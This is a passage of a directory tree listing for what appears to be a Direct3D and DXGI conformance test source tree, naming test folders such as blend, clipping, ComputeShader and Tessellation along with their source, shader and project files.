    │               │       │           TestClassFactory.h
    │               │       │           TestGroupManager.h
    │               │       │           WGFTestCore.h
    │               │       │           
    │               │       ├───d3d11test
    │               │       │       D3D11EnumsInfo.cpp
    │               │       │       D3D11EnumsInfo.h
    │               │       │       D3D11Test.cpp
    │               │       │       D3D11Test.h
    │               │       │       D3D11Test.razzle.vcproj
    │               │       │       D3D11Test.vcproj
    │               │       │       D3D11Test.xml
    │               │       │       D3D11TestGlobals.xml
    │               │       │       D3D11ValueSets.cpp
    │               │       │       D3D11ValueSets.h
    │               │       │       D3DDepthHelper.cpp
    │               │       │       D3DDepthHelper.h
    │               │       │       D3DMSHelper.cpp
    │               │       │       D3DMSHelper.h
    │               │       │       D3DResourceFlagsValueSet.cpp
    │               │       │       D3DResourceFlagsValueSet.h
    │               │       │       D3DSampleLocation.cpp
    │               │       │       D3DSampleLocation.h
    │               │       │       D3DTest.xml
    │               │       │       D3DTestGlobals.xml
    │               │       │       D3DTestHelpers.cpp
    │               │       │       D3DTestHelpers.h
    │               │       │       d3dx10strings.cpp
    │               │       │       d3dx10strings.h
    │               │       │       DXGIBufferCompare.cpp
    │               │       │       DXGIBufferCompare.h
    │               │       │       DXGIFloatTypes.cpp
    │               │       │       DXGIFloatTypes.h
    │               │       │       DXGILatestConfig.xml
    │               │       │       EnumsInfoCpp.def
    │               │       │       EnumsInfoH.def
    │               │       │       InfoQueueHelper.cpp
    │               │       │       InfoQueueHelper.h
    │               │       │       makewrappers.bat
    │               │       │       NamedValueOverrides.xml
    │               │       │       NResult.cpp
    │               │       │       NResult.h
    │               │       │       pch.h
    │               │       │       PresentHelper.cpp
    │               │       │       PresentHelper.h
    │               │       │       sources
    │               │       │       ValueSetCpp.def
    │               │       │       ValueSetH.def
    │               │       │       
    │               │       ├───D3D11TestDM
    │               │       │       D3D11Test.cpp
    │               │       │       D3D11Test.h
    │               │       │       D3D11Test.razzle.vcproj
    │               │       │       D3D11Test.vcproj
    │               │       │       D3D11Test.xml
    │               │       │       D3D11TestGlobals.xml
    │               │       │       D3D11ValueSets.cpp
    │               │       │       D3D11ValueSets.h
    │               │       │       D3DDepthHelper.cpp
    │               │       │       D3DDepthHelper.h
    │               │       │       D3DMSHelper.cpp
    │               │       │       D3DMSHelper.h
    │               │       │       D3DResourceFlagsValueSet.cpp
    │               │       │       D3DResourceFlagsValueSet.h
    │               │       │       D3DSampleLocation.cpp
    │               │       │       D3DSampleLocation.h
    │               │       │       D3DTest.xml
    │               │       │       D3DTestGlobals.xml
    │               │       │       D3DTestHelpers.cpp
    │               │       │       D3DTestHelpers.h
    │               │       │       d3dx10strings.cpp
    │               │       │       d3dx10strings.h
    │               │       │       DXGIBufferCompare.cpp
    │               │       │       DXGIBufferCompare.h
    │               │       │       DXGIFloatTypes.cpp
    │               │       │       DXGIFloatTypes.h
    │               │       │       DXGILatestConfig.xml
    │               │       │       EnumsInfoCpp.def
    │               │       │       EnumsInfoH.def
    │               │       │       InfoQueueHelper.cpp
    │               │       │       InfoQueueHelper.h
    │               │       │       makewrappers.bat
    │               │       │       NamedValueOverrides.xml
    │               │       │       NResult.cpp
    │               │       │       NResult.h
    │               │       │       pch.h
    │               │       │       PresentHelper.cpp
    │               │       │       PresentHelper.h
    │               │       │       sources
    │               │       │       StringsCpp.def
    │               │       │       StringsH.def
    │               │       │       ValueSetCpp.def
    │               │       │       ValueSetH.def
    │               │       │       
    │               │       ├───D3DTest
    │               │       │       C10Device1Extras.cpp
    │               │       │       C10DeviceExtras.cpp
    │               │       │       C11DeviceExtras.cpp
    │               │       │       CDeviceExtras.cpp
    │               │       │       CMultiDeviceExtras.cpp
    │               │       │       D3D10Convert.cpp
    │               │       │       D3D10Convert.h
    │               │       │       D3D10EnumsInfo.cpp
    │               │       │       D3D10EnumsInfo.h
    │               │       │       D3D10on11Test.xml
    │               │       │       D3D10Test.cpp
    │               │       │       D3D10Test.h
    │               │       │       D3D10ValueSets.cpp
    │               │       │       D3D10ValueSets.h
    │               │       │       D3D10Wrapped.cpp
    │               │       │       D3D10Wrapped.h
    │               │       │       D3D10WrappedGlobals.cpp
    │               │       │       D3D10WrappedGlobals.h
    │               │       │       D3D11Convert.cpp
    │               │       │       D3D11Convert.h
    │               │       │       D3D11EnumsInfo.cpp
    │               │       │       D3D11EnumsInfo.h
    │               │       │       d3d11test.cpp
    │               │       │       d3d11test.h
    │               │       │       D3D11ValueSets.cpp
    │               │       │       D3D11ValueSets.h
    │               │       │       D3D11Wrapped.cpp
    │               │       │       D3D11Wrapped.h
    │               │       │       D3DDepthHelper.cpp
    │               │       │       D3DDepthHelper.h
    │               │       │       D3DEnumsInfo.cpp
    │               │       │       D3DEnumsInfo.h
    │               │       │       D3DMSHelper.cpp
    │               │       │       D3DMSHelper.h
    │               │       │       D3DMultiWrapped.cpp
    │               │       │       D3DMultiWrapped.h
    │               │       │       D3DResourceFlagsValueSet.cpp
    │               │       │       D3DResourceFlagsValueSet.h
    │               │       │       D3DSampleLocation.cpp
    │               │       │       D3DSampleLocation.h
    │               │       │       D3DTest.cpp
    │               │       │       D3DTest.h
    │               │       │       D3DTest.razzle.vcproj
    │               │       │       D3DTest.vcproj
    │               │       │       D3DTest.xml
    │               │       │       D3DTestGlobals.xml
    │               │       │       D3DTestHelpers.cpp
    │               │       │       D3DTestHelpers.h
    │               │       │       D3DValueSets.cpp
    │               │       │       D3DValueSets.h
    │               │       │       D3DWrapped.cpp
    │               │       │       D3DWrapped.h
    │               │       │       d3dwrappedtypes.h
    │               │       │       d3dx10strings.cpp
    │               │       │       d3dx10strings.h
    │               │       │       d3dx10wrapped.cpp
    │               │       │       d3dx10wrapped.h
    │               │       │       DXGIBufferCompare.cpp
    │               │       │       DXGIBufferCompare.h
    │               │       │       DXGIFloatTypes.cpp
    │               │       │       DXGIFloatTypes.h
    │               │       │       DXGILatestConfig.xml
    │               │       │       EnumsInfoCpp.def
    │               │       │       EnumsInfoH.def
    │               │       │       InfoQueueHelper.cpp
    │               │       │       InfoQueueHelper.h
    │               │       │       makewrappers.bat
    │               │       │       NamedValueOverrides.xml
    │               │       │       NResult.cpp
    │               │       │       NResult.h
    │               │       │       pch.h
    │               │       │       PresentHelper.cpp
    │               │       │       PresentHelper.h
    │               │       │       sources
    │               │       │       ValueSetCpp.def
    │               │       │       ValueSetH.def
    │               │       │       
    │               │       ├───DXGITest
    │               │       │       D3DWrappers.h
    │               │       │       DXGITest.cpp
    │               │       │       DXGITest.h
    │               │       │       DXGITestFramework.cpp
    │               │       │       DXGITestFramework.h
    │               │       │       sources
    │               │       │       
    │               │       ├───GraphicsTest
    │               │       │       DXGILatestConfig.xml
    │               │       │       DXGIValueSets.cpp
    │               │       │       DXGIValueSets.h
    │               │       │       DXGIValueSetsGenerated.cpp
    │               │       │       GraphicsTest.cpp
    │               │       │       GraphicsTest.h
    │               │       │       makewrappers.bat
    │               │       │       MinMaxRange.cpp
    │               │       │       MinMaxRange.h
    │               │       │       sources
    │               │       │       
    │               │       ├───GraphicsTestDM
    │               │       │       DXGILatestConfig.xml
    │               │       │       DXGIValueSets.cpp
    │               │       │       DXGIValueSets.h
    │               │       │       DXGIValueSetsGenerated.cpp
    │               │       │       GraphicsTest.cpp
    │               │       │       GraphicsTest.h
    │               │       │       GraphicsTestDM.h
    │               │       │       makewrappers.bat
    │               │       │       MinMaxRange.cpp
    │               │       │       MinMaxRange.h
    │               │       │       MinMaxRangeDM.h
    │               │       │       sources
    │               │       │       
    │               │       ├───HResultHelp
    │               │       │       HResultHelp.cpp
    │               │       │       HResultHelp.h
    │               │       │       sources
    │               │       │       
    │               │       ├───Samples
    │               │       │   │   dirs
    │               │       │   │   samples.mk
    │               │       │   │   
    │               │       │   └───billkris
    │               │       │       │   dirs
    │               │       │       │   
    │               │       │       └───Simple
    │               │       │               Simple.cpp
    │               │       │               Simple.rc
    │               │       │               Simple.vcproj
    │               │       │               Simple.xml
    │               │       │               sources
    │               │       │               VarCore.xml
    │               │       │               
    │               │       └───WGFTestUI
    │               │               bitmap1.bmp
    │               │               bitmap2.bmp
    │               │               cursor1.cur
    │               │               directx.ico
    │               │               pch.h
    │               │               resource.h
    │               │               sources
    │               │               splitter.bmp
    │               │               toolbar.bmp
    │               │               toolbar1.bmp
    │               │               WGFTestUI.h
    │               │               WGFTestUI.razzle.vcproj
    │               │               WGFTestUI.rc
    │               │               WGFTestUI.vcproj
    │               │               WGFTestUIDeviceWindow.cpp
    │               │               WGFTestUIDeviceWindow.h
    │               │               WGFTestUIFiltersDialog.cpp
    │               │               WGFTestUIFiltersDialog.h
    │               │               WGFTestUIGoToDialog.cpp
    │               │               WGFTestUIGoToDialog.h
    │               │               WGFTestUIGroups.cpp
    │               │               WGFTestUIGroups.h
    │               │               WGFTestUIHelpDialog.cpp
    │               │               WGFTestUIHelpDialog.h
    │               │               WGFTestUIKeyList.cpp
    │               │               WGFTestUIKeyList.h
    │               │               WGFTestUILog.cpp
    │               │               WGFTestUILog.h
    │               │               WGFTestUIMain.cpp
    │               │               WGFTestUIOptionsDialog.cpp
    │               │               WGFTestUIOptionsDialog.h
    │               │               WGFTestUIParametersDialog.cpp
    │               │               WGFTestUIParametersDialog.h
    │               │               WGFTestUIShell.cpp
    │               │               WGFTestUIShell.h
    │               │               WGFTestUIStatus.cpp
    │               │               WGFTestUIStatus.h
    │               │               WGFTestUITestCases.cpp
    │               │               WGFTestUITestCases.h
    │               │               WGFTestUIWindow.cpp
    │               │               WGFTestUIWindow.h
    │               │               
    │               ├───d3d
    │               │   │   d3d.mk
    │               │   │   d3d11.mk
    │               │   │   dirs
    │               │   │   
    │               │   ├───conf
    │               │   │   │   conf11.mk
    │               │   │   │   dirs
    │               │   │   │   runconf.bat
    │               │   │   │   
    │               │   │   ├───AsyncConf
    │               │   │   │       Async.sh
    │               │   │   │       AsyncConf.cpp
    │               │   │   │       AsyncConf.h
    │               │   │   │       AsyncConf.razzle.vc8.vcproj
    │               │   │   │       AsyncConf.razzle.vcproj
    │               │   │   │       AsyncConf.rc
    │               │   │   │       CounterConfTest.cpp
    │               │   │   │       kitContent.kml
    │               │   │   │       PredicateConfTest.cpp
    │               │   │   │       QueryConfTest.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───blend
    │               │   │   │       BasicBlend.cpp
    │               │   │   │       blend.cpp
    │               │   │   │       blend.h
    │               │   │   │       blend.razzle.vc8.vcproj
    │               │   │   │       blend.razzle.vcproj
    │               │   │   │       blend.rc
    │               │   │   │       BlendCode.cpp
    │               │   │   │       BlendStates.cpp
    │               │   │   │       kitContent.kml
    │               │   │   │       logic.sh
    │               │   │   │       LogicOps.cpp
    │               │   │   │       ps_blend.psh
    │               │   │   │       ps_blend_fl9x.psh
    │               │   │   │       ps_copy.psh
    │               │   │   │       sources
    │               │   │   │       vs.vsh
    │               │   │   │       vs_fl9x.vsh
    │               │   │   │       
    │               │   │   ├───clipping
    │               │   │   │       Clipping.cpp
    │               │   │   │       Clipping.h
    │               │   │   │       Clipping.razzle.vc8.vcproj
    │               │   │   │       Clipping.razzle.vcproj
    │               │   │   │       Clipping.rc
    │               │   │   │       kitContent.kml
    │               │   │   │       LineClipTest.cpp
    │               │   │   │       PointClipTest.cpp
    │               │   │   │       ps.psh
    │               │   │   │       sources
    │               │   │   │       TriangleClipTest.cpp
    │               │   │   │       vs_clipcullmix.vsh
    │               │   │   │       vs_clipdist.vsh
    │               │   │   │       vs_culldist.vsh
    │               │   │   │       vs_depth_clip.vsh
    │               │   │   │       vs_pos_only.vsh
    │               │   │   │       vs_w_clip.vsh
    │               │   │   │       
    │               │   │   ├───ComputeShader
    │               │   │   │   │   ACVertexShaderPassThrough.fx
    │               │   │   │   │   AppendConsume.cpp
    │               │   │   │   │   AppendConsume.fx
    │               │   │   │   │   AppendConsume.h
    │               │   │   │   │   AppendStructured.fx
    │               │   │   │   │   AppendStructuredPS.fx
    │               │   │   │   │   Atomicity.cpp
    │               │   │   │   │   Atomicity.h
    │               │   │   │   │   breeder.bmp
    │               │   │   │   │   ConsumeStructured.fx
    │               │   │   │   │   ConsumeStructuredPS.fx
    │               │   │   │   │   CounterUAV.cpp
    │               │   │   │   │   CounterUAV.fx
    │               │   │   │   │   CounterUAV.h
    │               │   │   │   │   Dispatch.cpp
    │               │   │   │   │   Dispatch.h
    │               │   │   │   │   GroupSharedMemory.cpp
    │               │   │   │   │   GroupSharedMemory.h
    │               │   │   │   │   interaction.cpp
    │               │   │   │   │   Interaction.h
    │               │   │   │   │   interaction.sh
    │               │   │   │   │   kitContent.kml
    │               │   │   │   │   MemoryBarrier.fx
    │               │   │   │   │   MemoryBarrierPS.fx
    │               │   │   │   │   MemoryBarrierSync.cpp
    │               │   │   │   │   MemoryBarrierSync.h
    │               │   │   │   │   sources
    │               │   │   │   │   UAV.cpp
    │               │   │   │   │   UAV.h
    │               │   │   │   │   UAVBuffer.cpp
    │               │   │   │   │   UAVBufferRW.cpp
    │               │   │   │   │   UAVBufferRW.fx
    │               │   │   │   │   UAVBufferRWCS.cpp
    │               │   │   │   │   UAVBufferRWPS.cpp
    │               │   │   │   │   UAVBufferSrc.cpp
    │               │   │   │   │   UAVBufferSrc.fx
    │               │   │   │   │   UAVBufferSrcCS.cpp
    │               │   │   │   │   UAVBufferSrcPS.cpp
    │               │   │   │   │   UAVBufferTyped.cpp
    │               │   │   │   │   UAVBufferTyped.fx
    │               │   │   │   │   UAVBufferTypedCS.cpp
    │               │   │   │   │   UAVBufferTypedPS.cpp
    │               │   │   │   │   UAVTyped.cpp
    │               │   │   │   │   UAVTyped.fx
    │               │   │   │   │   WGFCompute.cpp
    │               │   │   │   │   WGFCompute.h
    │               │   │   │   │   WGFCompute.rc
    │               │   │   │   │   
    │               │   │   │   └───WGFComputeShader
    │               │   │   │           WGFComputeShader.sln
    │               │   │   │           WGFComputeShader.vcproj
    │               │   │   │           
    │               │   │   ├───D3DWDDM
    │               │   │   │       Adapter.cpp
    │               │   │   │       Adapter.h
    │               │   │   │       D3D9DriverRuntimeVersionTest.cpp
    │               │   │   │       D3D9DriverRuntimeVersionTest.h
    │               │   │   │       d3dwddm.cpp
    │               │   │   │       d3dwddm.h
    │               │   │   │       D3DWDDM.rc
    │               │   │   │       D3DWDDMDriverVersionTest.cpp
    │               │   │   │       D3DWDDMDriverVersionTest.h
    │               │   │   │       DetoursTest.cpp
    │               │   │   │       DetoursTest.h
    │               │   │   │       kitContent.kml
    │               │   │   │       sources
    │               │   │   │       WGF11D3DWDDM.exe.manifest
    │               │   │   │       
    │               │   │   ├───DepthStencil
    │               │   │   │       bias.cpp
    │               │   │   │       bias.h
    │               │   │   │       clamp.cpp
    │               │   │   │       clamp.h
    │               │   │   │       depth.cpp
    │               │   │   │       depth.h
    │               │   │   │       depth.psh
    │               │   │   │       depth.vsh
    │               │   │   │       depth_point.gsh
    │               │   │   │       depth_tri.gsh
    │               │   │   │       kitContent.kml
    │               │   │   │       odepth.psh
    │               │   │   │       odepth.vsh
    │               │   │   │       res.rc
    │               │   │   │       sources
    │               │   │   │       state.cpp
    │               │   │   │       state.h
    │               │   │   │       Stencil.cpp
    │               │   │   │       Stencil.h
    │               │   │   │       stencilps.psh
    │               │   │   │       stencilvs.vsh
    │               │   │   │       testapp.cpp
    │               │   │   │       testapp.h
    │               │   │   │       views.cpp
    │               │   │   │       views.gsh
    │               │   │   │       views.h
    │               │   │   │       views.psh
    │               │   │   │       views.vsh
    │               │   │   │       WGFDepthStencil.2k5.razzle.vcproj
    │               │   │   │       
    │               │   │   ├───filter
    │               │   │   │       AnisoFilter.cpp
    │               │   │   │       BasicFilter.cpp
    │               │   │   │       filter.cpp
    │               │   │   │       filter.h
    │               │   │   │       filter.razzle.vc8.vcproj
    │               │   │   │       filter.razzle.vcproj
    │               │   │   │       filter.rc
    │               │   │   │       FilterCode.cpp
    │               │   │   │       gs_sample_cmp.gsh
    │               │   │   │       gs_sample_grad.gsh
    │               │   │   │       gs_sample_level.gsh
    │               │   │   │       kitContent.kml
    │               │   │   │       MinLOD.cpp
    │               │   │   │       minlod.sh
    │               │   │   │       MipFilter.cpp
    │               │   │   │       MipGen.cpp
    │               │   │   │       ps_basic.psh
    │               │   │   │       ps_basic_L9.psh
    │               │   │   │       ps_copy.psh
    │               │   │   │       ps_copy_L9.psh
    │               │   │   │       ps_passthru.psh
    │               │   │   │       ps_sample_bias.psh
    │               │   │   │       ps_sample_bias_L9.psh
    │               │   │   │       ps_sample_cmp.psh
    │               │   │   │       ps_sample_cmp_main_2_aoff.bsh
    │               │   │   │       ps_sample_cmp_main_2_L0_aoff.bsh
    │               │   │   │       ps_sample_grad.psh
    │               │   │   │       ps_sample_grad_L9.psh
    │               │   │   │       ps_sample_level.psh
    │               │   │   │       ps_sample_level_L9.psh
    │               │   │   │       SamplerStates.cpp
    │               │   │   │       sources
    │               │   │   │       TextureCode.cpp
    │               │   │   │       vs.vsh
    │               │   │   │       vs_L9.vsh
    │               │   │   │       vs_sample_cmp.vsh
    │               │   │   │       vs_sample_grad.vsh
    │               │   │   │       vs_sample_level.vsh
    │               │   │   │       
    │               │   │   ├───GeometryShader
    │               │   │   │       GeometryShader.cpp
    │               │   │   │       GeometryShader.h
    │               │   │   │       GeometryShader.razzle.vc8.vcproj
    │               │   │   │       GeometryShader.razzle.vcproj
    │               │   │   │       GeometryShader.rc
    │               │   │   │       GSInstanceID.cpp
    │               │   │   │       GSInstanceID.h
    │               │   │   │       GSMultiOut.cpp
    │               │   │   │       GSMultiOut.h
    │               │   │   │       GSMultiOut.sh
    │               │   │   │       GSPrimID.cpp
    │               │   │   │       GSPrimID.h
    │               │   │   │       GSTopology.cpp
    │               │   │   │       GSTopology.h
    │               │   │   │       GSTopology.sh
    │               │   │   │       InstanceID.sh
    │               │   │   │       kitContent.kml
    │               │   │   │       PrimID.sh
    │               │   │   │       PrimType.sh
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───HybridPerf
    │               │   │   │       kitContent.kml
    │               │   │   │       Main.cpp
    │               │   │   │       main.hpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───InputAssembler
    │               │   │   │   │   dirs
    │               │   │   │   │   Draw.cpp
    │               │   │   │   │   GeneratedValues.cpp
    │               │   │   │   │   HelperFunctions.cpp
    │               │   │   │   │   InputAssembler.cpp
    │               │   │   │   │   InputAssembler.h
    │               │   │   │   │   InputAssembler.rc
    │               │   │   │   │   InputLayouts.cpp
    │               │   │   │   │   Limits.cpp
    │               │   │   │   │   ReadFromUnboundSlot.cpp
    │               │   │   │   │   ValidateProcessedBuffers.cpp
    │               │   │   │   │   WGFInputAssembler.razzle.2008.sln
    │               │   │   │   │   WGFInputAssembler.razzle.2008.vcproj
    │               │   │   │   │   WGFInputAssembler.razzle.2k5.sln
    │               │   │   │   │   WGFInputAssembler.razzle.2k5.vcproj
    │               │   │   │   │   
    │               │   │   │   ├───Draw
    │               │   │   │   │       IAGroups.cpp
    │               │   │   │   │       kitContent.kml
    │               │   │   │   │       sources
    │               │   │   │   │       
    │               │   │   │   ├───InputAssembler
    │               │   │   │   │       IAGroups.cpp
    │               │   │   │   │       kitContent.kml
    │               │   │   │   │       sources
    │               │   │   │   │       
    │               │   │   │   └───VertexShader
    │               │   │   │           IAGroups.cpp
    │               │   │   │           kitContent.kml
    │               │   │   │           sources
    │               │   │   │           
    │               │   │   ├───Interfaces
    │               │   │   │       CInterfaceFlowControl.cpp
    │               │   │   │       CInterfaceFlowControl.h
    │               │   │   │       ConstantBufferIndexing.cpp
    │               │   │   │       ConstantBufferIndexing.fx
    │               │   │   │       CSInterfaceFlowControl.fx
    │               │   │   │       FcallLimits.cpp
    │               │   │   │       FcallLimits.h
    │               │   │   │       FCVertexShaderPassThrough.fx
    │               │   │   │       kitContent.kml
    │               │   │   │       ResourceIndexing.cpp
    │               │   │   │       ResourceIndexing.fx
    │               │   │   │       ResourceIndexing.h
    │               │   │   │       SamplerIndexing.cpp
    │               │   │   │       SamplerIndexing.fx
    │               │   │   │       sources
    │               │   │   │       TextureIndexing.cpp
    │               │   │   │       TextureIndexing.fx
    │               │   │   │       WGFInterfaces.cpp
    │               │   │   │       WGFInterfaces.h
    │               │   │   │       WGFInterfaces.rc
    │               │   │   │       
    │               │   │   ├───MapDefault
    │               │   │   │       kitContent.kml
    │               │   │   │       MapDefault.cpp
    │               │   │   │       MapDefault.h
    │               │   │   │       MapDefault.rc
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───MeasureHPC
    │               │   │   │       a.bat
    │               │   │   │       b.bat
    │               │   │   │       Draw.cpp
    │               │   │   │       Frequency.cpp
    │               │   │   │       Frequency.h
    │               │   │   │       MeasureHPC.sln
    │               │   │   │       MeasureHPC.vcxproj
    │               │   │   │       MeasureHPC.vcxproj.filters
    │               │   │   │       sources
    │               │   │   │       Teapots.cpp
    │               │   │   │       Teapots.h
    │               │   │   │       TimingData.cpp
    │               │   │   │       TimingData.h
    │               │   │   │       TimingData.rc
    │               │   │   │       
    │               │   │   ├───PixelShader
    │               │   │   │       GeneratedValues.cpp
    │               │   │   │       GeneratedValues.hlsl
    │               │   │   │       IsFrontFace.cpp
    │               │   │   │       kitContent.kml
    │               │   │   │       PipelineStats.cpp
    │               │   │   │       PixelShader.cpp
    │               │   │   │       PixelShader.h
    │               │   │   │       PixelShader.rc
    │               │   │   │       psuav.hlsl
    │               │   │   │       sources
    │               │   │   │       UAV.cpp
    │               │   │   │       WGFPixelShader.razzle.2k5.sln
    │               │   │   │       WGFPixelShader.razzle.2k5.vcproj
    │               │   │   │       
    │               │   │   ├───Precision
    │               │   │   │       Arithmetic.cpp
    │               │   │   │       Arithmetic.h
    │               │   │   │       Convert.cpp
    │               │   │   │       Convert.h
    │               │   │   │       Input.cpp
    │               │   │   │       input.h
    │               │   │   │       kitContent.kml
    │               │   │   │       Mov.cpp
    │               │   │   │       Mov.h
    │               │   │   │       Precision.cpp
    │               │   │   │       Precision.h
    │               │   │   │       Precision.rc
    │               │   │   │       Resource.cpp
    │               │   │   │       Resource.h
    │               │   │   │       sources
    │               │   │   │       swap.cpp
    │               │   │   │       swap.h
    │               │   │   │       
    │               │   │   ├───RenderTargets
    │               │   │   │       Clear.cpp
    │               │   │   │       Clear.h
    │               │   │   │       kitContent.kml
    │               │   │   │       RenderTargets.cpp
    │               │   │   │       RenderTargets.gsh
    │               │   │   │       RenderTargets.h
    │               │   │   │       RenderTargets.psh
    │               │   │   │       RenderTargets.rc
    │               │   │   │       RenderTargets.vcproj
    │               │   │   │       RenderTargets.vsh
    │               │   │   │       RenderTargets_FL9X.psh
    │               │   │   │       RenderTargets_FL9X.vsh
    │               │   │   │       RenderTargets_SR_Readback.psh
    │               │   │   │       RenderTargets_SR_Readback_FL9X.psh
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───ResourceAccess
    │               │   │   │       ClearView.cpp
    │               │   │   │       ClearView.h
    │               │   │   │       ClearView.inl
    │               │   │   │       Compressed.cpp
    │               │   │   │       Compressed.h
    │               │   │   │       D2DTileableCopy.cpp
    │               │   │   │       D2DTileableCopy.h
    │               │   │   │       Discard.cpp
    │               │   │   │       Discard.h
    │               │   │   │       kitContent.kml
    │               │   │   │       Multisample.cpp
    │               │   │   │       Multisample.h
    │               │   │   │       RectScenarios.cpp
    │               │   │   │       RectScenarios.h
    │               │   │   │       resourceaccess.cpp
    │               │   │   │       ResourceAccess.gsh
    │               │   │   │       resourceaccess.h
    │               │   │   │       ResourceAccess.psh
    │               │   │   │       resourceaccess.rc
    │               │   │   │       resourceaccess.vcproj
    │               │   │   │       ResourceAccess.vsh
    │               │   │   │       ResourceFlush.cpp
    │               │   │   │       ResourceFlush.h
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───ResourceFormats
    │               │   │   │       CheckSupport.cpp
    │               │   │   │       kitContent.kml
    │               │   │   │       ResourceFormats.cpp
    │               │   │   │       ResourceFormats.gsh
    │               │   │   │       ResourceFormats.h
    │               │   │   │       ResourceFormats.psh
    │               │   │   │       ResourceFormats.rc
    │               │   │   │       ResourceFormats.vc8.vcproj
    │               │   │   │       ResourceFormats.vcproj
    │               │   │   │       ResourceFormats.vsh
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───shader5x
    │               │   │   │       AsmHelper.cpp
    │               │   │   │       AsmHelper.h
    │               │   │   │       AtomicTestCases.h
    │               │   │   │       Bitwise.cpp
    │               │   │   │       Bitwise.h
    │               │   │   │       Condition.cpp
    │               │   │   │       Condition.h
    │               │   │   │       ConstantBuffers.cpp
    │               │   │   │       ConstantBuffers.h
    │               │   │   │       ControlFlow.cpp
    │               │   │   │       ControlFlow.h
    │               │   │   │       DoubleFMATable.h
    │               │   │   │       DoublesArith.cpp
    │               │   │   │       DoublesArith.h
    │               │   │   │       DoublesDDivData.h
    │               │   │   │       DoublesDFMAData.h
    │               │   │   │       DoublesDRCPData.h
    │               │   │   │       FloatArith.cpp
    │               │   │   │       FloatArith.h
    │               │   │   │       FormatDesc.hpp
    │               │   │   │       FormatDescImpl.cpp
    │               │   │   │       Index.cpp
    │               │   │   │       Index.h
    │               │   │   │       IntArith.cpp
    │               │   │   │       IntArith.h
    │               │   │   │       kitContent.kml
    │               │   │   │       LoadStore.cpp
    │               │   │   │       LoadStore.h
    │               │   │   │       MemoryAccessInstructions.cpp
    │               │   │   │       MemoryAccessInstructions.h
    │               │   │   │       Move.cpp
    │               │   │   │       Move.h
    │               │   │   │       Multisample.cpp
    │               │   │   │       Multisample.h
    │               │   │   │       raster.cpp
    │               │   │   │       Raster.h
    │               │   │   │       Registers.cpp
    │               │   │   │       Registers.h
    │               │   │   │       ResourceAccess.cpp
    │               │   │   │       ResourceAccess.h
    │               │   │   │       Shader50.razzle.2k8.vcproj
    │               │   │   │       Shader5x.cpp
    │               │   │   │       Shader5x.h
    │               │   │   │       Shader5x.rc
    │               │   │   │       ShaderInstruction.cpp
    │               │   │   │       ShaderInstruction.h
    │               │   │   │       sources
    │               │   │   │       SumAbsDiff.cpp
    │               │   │   │       SumAbsDiff.h
    │               │   │   │       Swizzle.cpp
    │               │   │   │       Swizzle.h
    │               │   │   │       Topology.cpp
    │               │   │   │       Topology.h
    │               │   │   │       TypeConvert.cpp
    │               │   │   │       TypeConvert.h
    │               │   │   │       
    │               │   │   ├───SharedResources
    │               │   │   │       kitContent.kml
    │               │   │   │       SharedRes.razzle.vcproj
    │               │   │   │       SharedResource.cpp
    │               │   │   │       SharedResource.h
    │               │   │   │       SharedResource.rc
    │               │   │   │       SharedResourceChild.cpp
    │               │   │   │       SharedResourceChild.h
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───StreamOut
    │               │   │   │       kitContent.kml
    │               │   │   │       MultiBuffer.cpp
    │               │   │   │       MultiBuffer.h
    │               │   │   │       MultiStream.cpp
    │               │   │   │       MultiStream.h
    │               │   │   │       PassThroughVS.fx
    │               │   │   │       ShaderClear.sh
    │               │   │   │       ShaderSource.sh
    │               │   │   │       ShaderSourceMulti.sh
    │               │   │   │       SingleBuffer.cpp
    │               │   │   │       SingleBuffer.h
    │               │   │   │       sources
    │               │   │   │       StreamOut.cpp
    │               │   │   │       StreamOut.h
    │               │   │   │       streamout.rc
    │               │   │   │       StreamOut.sln
    │               │   │   │       StreamOut.vcproj
    │               │   │   │       StreamOutPatches.cpp
    │               │   │   │       StreamOutPatches.h
    │               │   │   │       
    │               │   │   ├───SystemCheck
    │               │   │   │       DiscreteListTest.cpp
    │               │   │   │       DiscreteListTest.h
    │               │   │   │       kitContent.kml
    │               │   │   │       MinimumFeatureLevelTest.cpp
    │               │   │   │       MinimumFeatureLevelTest.h
    │               │   │   │       sources
    │               │   │   │       SystemCheck.cpp
    │               │   │   │       SystemCheck.h
    │               │   │   │       SystemCheck.rc
    │               │   │   │       
    │               │   │   ├───Tessellation
    │               │   │   │       cp.bat
    │               │   │   │       DomainTest.cpp
    │               │   │   │       HullPhases.cpp
    │               │   │   │       HullTest.cpp
    │               │   │   │       kitContent.kml
    │               │   │   │       ShaderCode.cpp
    │               │   │   │       ShaderCode.h
    │               │   │   │       sources
    │               │   │   │       Tessellation.cpp
    │               │   │   │       Tessellation.h
    │               │   │   │       Tessellation.rc
    │               │   │   │       TessTest.cpp
    │               │   │   │       TestBuffer.h
    │               │   │   │       vs_vertid.sh
    │               │   │   │       WGF11Tessellation.razzle.sln
    │               │   │   │       WGF11Tessellation.razzle.vcproj
    │               │   │   │       
    │               │   │   ├───TiledResources
    │               │   │   │       CopyTileMappings.h
    │               │   │   │       CopyTiles.h
    │               │   │   │       Filter.cpp
    │               │   │   │       Filter.h
    │               │   │   │       kitContent.kml
    │               │   │   │       LargeAddress.cpp
    │               │   │   │       LargeAddress.h
    │               │   │   │       makefile.inc
    │               │   │   │       RawStructured.cpp
    │               │   │   │       RawStructured.h
    │               │   │   │       ResourceTiling.h
    │               │   │   │       sources
    │               │   │   │       TiledResources.cpp
    │               │   │   │       TiledResources.csh
    │               │   │   │       TiledResources.h
    │               │   │   │       TiledResources.psh
    │               │   │   │       TiledResources.rc
    │               │   │   │       TiledResources.vsh
    │               │   │   │       TiledResourcesCS.hlsl
    │               │   │   │       TiledResourcesPS.hlsl
    │               │   │   │       TiledResourcesVS.hlsl
    │               │   │   │       UpdateTileMappings.h
    │               │   │   │       UpdateTiles.h
    │               │   │   │       Views.cpp
    │               │   │   │       Views.h
    │               │   │   │       
    │               │   │   ├───TimingData
    │               │   │   │   │   a.bat
    │               │   │   │   │   b.bat
    │               │   │   │   │   CustomEvent.cpp
    │               │   │   │   │   CustomEvent.h
    │               │   │   │   │   EndOfPipeline.cpp
    │               │   │   │   │   EndOfPipeline.h
